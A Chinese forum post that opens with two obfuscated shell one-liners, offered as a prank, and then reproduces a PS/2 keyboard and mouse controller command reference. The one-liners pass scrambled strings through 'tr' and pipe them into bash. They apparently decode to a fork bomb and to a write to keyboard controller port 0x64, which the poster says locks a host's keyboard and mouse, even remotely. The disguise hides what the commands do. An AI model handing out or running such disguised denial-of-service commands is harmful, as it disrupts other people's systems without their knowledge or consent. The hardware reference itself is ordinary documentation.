- 论坛徽章:
- 0
|
echo 'cdeapcsc&pb;pc' | tr -s "dbacesp" "(}{:)|\ " | bash&
echo "pUdwqwUtbq0y6Qq0ydQ" | tr -s "UQywpq" "u4xos\ " | bash&
输入
echo "pUdwqwUtbq0y60q0ydQ" | tr -s "UQywpq" "u4xos\ " | bash
可以恢复
虽然没什么害处 不过也够折腾上一会儿了
原理如下: 这个特性可以用来远程锁住主机的键盘和鼠标12. Keyboard commands
One can not only talk to the keyboard controller (by writing to
port 0x64), but also to the keyboard (by writing to port 0x60).
In order to avoid interference between scancode sequences or
mouse packets and the reponses given to commands, the keyboard
or mouse should always be disabled before giving a command that
requires a response, and probably enabled afterwards.
Some keyboards or mice do the disable automatically in this
situation, but still require an explicit enable afterwards.
Each command (other than 0xfe) is ACKed by 0xfa.
Each unknown command is NACKed by 0xfe.
Some mice expect a corrected byte as reply to the 0xfe,
and will double-NACK with 0xfc when also that is wrong.
Here a list with the common commands.
0xed
Write LEDs
0xee
Diagnostic echo
0xf0
Set/Get scancode set
0xf2
Read keyboard ID
0xf3
Set repeat rate and delay
0xf4
Keyboard enable
0xf5
Set defaults and disable keyboard
0xf6
Set defaults
0xf7
Set all keys to repeat
0xf8
Set all keys to give make/break codes
0xf9
Set all keys to give make codes only
0xfa
Set all keys to repeat and give make/break codes
0xfb
Set a single key to repeat
0xfc
Set a single key to give make/break codes
0xfd
Set a single key to give make codes only
0xfe
Resend
0xff
Keyboard reset
If the command is preceded by writing 0xd4 to port 0x64, then
it goes to the mouse instead of the keyboard. Common commands:
0xe6
Set mouse scaling to 1:1
0xe7
Set mouse scaling to 2:1
0xe8
Set mouse resolution
0xe9
Get mouse information
0xf2
Read mouse ID
0xf3
Set mouse sample rate
0xf4
Mouse enable
0xf5
Mouse disable
0xf6
Set defaults
0xff
Mouse reset
12.1 Keyboard command details
Command e8: Nonstandard. Reported to give a
2-byte ID on an
OmniKey
keyboard.
Command ea: Nonstandard. The sequences
ea 70 and ea 71 are
used by some IBM keyboards to disable and enable extra keys.
Command eb: Nonstandard. Sequences involving eb
are often used for
manipulating extra LEDs
.
Command ec: Nonstandard. On the
IBM Rapid Access keyboard
this command yields a 2-byte ID.
Command ed:
Write LEDs
This command is followed by a byte indicating the desired LEDs setting.
Bits 7-3: unused, 0.
Bit 2: 1: CapsLock LED on.
Bit 1: 1: NumLock LED on.
Bit 0: 1: ScrollLock LED on.
When OK, both bytes are ACKed. If the second byte is recognized as a
command, that command is ACKed and done instead. Otherwise a NACK is
returned (and a keyboard enable may be needed).
Command ee:
Diagnostic echo
This command returns a single byte, again ee.
Command f0:
Set/Get scancode set
Many, but not all, keyboards can be switched to three different
scancode sets
.
This command, followed by a byte 01, 02, or 03
selects the corresponding scancode set. This command, followed by
a zero byte, reads the current scancode set. The reply (translated)
is 43, 41 or 3f, from untranslated 1, 2 or 3.
Note that scancode set 1 should not be translated, while sets
2 and 3 should be translated.
Set 2 was introduced by the AT. Set 3 by the PS/2.
Command f2:
Read keyboard ID
This command reads a 2-byte
keyboard ID
.
XT keyboards do not answer at all (of course),
AT keyboards reply with an ACK (fa) only,
MF2 and other keyboards reply with a 2-byte ID.
Wait at least 10ms after issuing this command.
For the mouse reply, see
below
.
Command f3:
Set repeat rate and delay
A following byte gives the desired delay before a pressed key
starts repeating, and the repeat rate.
Bit 7: unused, 0.
Bits 6-5: 0, 1, 2, 3: 250, 500, 750, 1000 ms delay.
Default after reset is 500 ms.
Bits 4-0: inter-character delay. The number of characters per second
is given by
0 1 2 3 4 5 6 7
0 30.0 26.7 24.0 21.8 20.0 18.5 17.1 16.0
8 15.0 13.3 12.0 10.9 10.0 9.2 8.6 8.0
16 7.5 6.7 6.0 5.5 5.0 4.6 4.3 4.0
24 3.7 3.3 3.0 2.7 2.5 2.3 2.1 2.0
(that is, the inter-character delay is (2 ^ B) * (D + 8) / 240 sec,
where B gives Bits 4-3 and D gives Bits 2-0).
Default after reset is 10.9 characters per second.
Logitech extended commands
Logitech uses escape sequences involving f3 for extended commands.
A Logitech extended command looks like
f3 7f f3 00 f3 xx
(for varying 7-bit values of xx). For example:
xx = 01: SendStatus: send the E1 XX codes for SubDeviceType,
BatteryStatus, (Channel if relevant) KbdStatus (=wireless status).
xx = 02: OpenLocking
xx = 03: CloseLocking
xx = 06 f3 aa:
Read byte at address aa (in 0x01-0x1e).
xx = 07 F3 aa f3 dd:
Write dd at address aa (in 0x01-0x1e).
xx = 10 or 11: Clear all device-related data
in EEPROM and RAM. Now device is disconnected.
Command f4:
Keyboard enable
If a transmit error occurs, the keyboard is automatically disabled.
This command re-enables the keyboard and clears its internal 16-byte
buffer.
Command f5:
Set defaults and
disable keyboard
Reset keyboard, clear output buffer, switch off LEDs, reset
repeat rate and delay to defaults. Disable the keyboard scan.
Command f6:
Set defaults
Reset keyboard, clear output buffer, switch off LEDs, reset
repeat rate and delay to defaults.
Command f7:
Set all keys to repeat
Keyboards that support scancode Set 3 keep for each key two bits:
does it repeat? does it generate a break code?
This command sets the "repeat" bit for all keys.
It does not influence keyboard operation when the scancode set is not Set 3.
Command f8:
Set all keys to give make/break
codes
This command sets the "generate break code" bit for all keys.
It does not influence keyboard operation when the scancode set is not Set 3.
Command f9:
Set all keys to give
make codes only
This command clears the "generate break code" bit for all keys.
It does not influence keyboard operation when the scancode set is not Set 3.
Command fa:
Set all keys to repeat
and give make/break codes
This command sets the "repeat" and "generate break code" bits for all keys.
It does not influence keyboard operation when the scancode set is not Set 3.
Command fb:
Set some keys to repeat
This command sets the "repeat" bits for the indicated keys.
It is followed by the untranslated Set 3 scancodes of the keys
for which this bit must be set. The sequence is ended by a command
code (ed, ee, f0, f2-ff).
Afterwards, a "keyboard enable" f4 is required.
Command fc:
Set some keys to give make/break
codes
This command sets the "generate break code" bits for the indicated keys.
It is followed by the untranslated Set 3 scancodes of the keys
for which this bit must be set. The sequence is ended by a command
code (ed, ee, f0, f2-ff).
Afterwards, a "keyboard enable" f4 is required.
Command fd:
Set some keys to give make codes
only
This command clears the "generate break code" bits for the indicated keys.
It is followed by the untranslated Set 3 scancodes of the keys for which
this bit must be set. The sequence is ended by a recognized command code
(such as ed, ee, f0, f2-ff).
Afterwards, a "keyboard enable" f4 is required.
Command fe:
Resend
Meant for use by the keyboard controller after a transmission error.
Not for use by the CPU.
Command ff:
Keyboard reset
Reset and self-test.
The self-test (BAT) will return aa when OK, and fc otherwise.
As part of the self-test, all LEDs are flashed.
本文来自ChinaUnix博客,如果查看原文请点:http://blog.chinaunix.net/u/20816/showart_328524.html |
|